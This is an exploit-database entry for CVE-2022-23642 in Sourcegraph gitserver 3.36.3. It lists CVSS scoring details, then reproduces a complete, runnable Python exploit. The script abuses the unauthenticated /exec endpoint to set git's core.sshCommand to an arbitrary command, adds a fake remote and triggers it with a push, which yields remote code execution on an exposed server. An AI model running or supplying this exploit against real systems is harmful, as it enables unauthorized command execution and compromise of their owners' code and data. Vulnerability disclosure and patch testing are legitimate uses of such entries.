Exploitalert - Database of Exploits

Sourcegraph Gitserver 3.36.3 Remote Code Execution (RCE)

CVE	Category	Price	Severity
CVE-2022-23642	CWE-77	Unknown	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2022-07-23

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2022070061

Sourcegraph Gitserver 3.36.3 Remote Code Execution (RCE)

# Exploit Title: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE) # Date: 2022-06-10 # Exploit Author: Altelus # Vendor Homepage: https://about.sourcegraph.com/ # Version: 3.63.3 # Tested on: Linux # CVE : CVE-2022-23642 # Docker Container: sourcegraph/server:3.36.3 # Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service. # This is due to lack of restriction on git config execution thus "core.sshCommand" can be passed # on the HTTP arguments which can contain arbitrary bash commands. Note that this is only possible # if gitserver is exposed to the attacker. This is tested on Sourcegraph 3.36.3 # # Exploitation parameters: # - Exposed Sourcegraph gitserver # - Existing repo on sourcegraph import json import argparse import requests def exploit(host, existing_git, cmd): # setting sshCommand data = { "Repo" : existing_git, "Args" : [ "config", "core.sshCommand", cmd ] } res = requests.get(host+"/exec", json=data).text if len(res) > 0: print("[-] Didn't work: {}".format(res)) exit(0) # setting fake origin data = { "Repo" : existing_git, "Args" : [ "remote", "add", "origin", "git@lolololz:foo/bar.git" ] } res = requests.get(host+"/exec", json=data).text if len(res) > 0: print("[-] Didn't work: {}".format(res)) exit(0) # triggering command using push data = { "Repo" : existing_git, "Args" : [ "push", "origin", "master" ] } res = requests.get(host+"/exec", json=data).text print("[*] Finished executing exploit") parser = argparse.ArgumentParser() parser.add_argument('--gitserver-host', required=True, help="Target Sourcegraph Gitserver Host") parser.add_argument('--existing-git', required=True, help="e.g. Link of existing repository in target Sourcegraph") parser.add_argument('--cmd', required=True, help="Command to run") args = parser.parse_args() host = args.gitserver_host existing_git = args.existing_git cmd = args.cmd exploit(host, existing_git, cmd)

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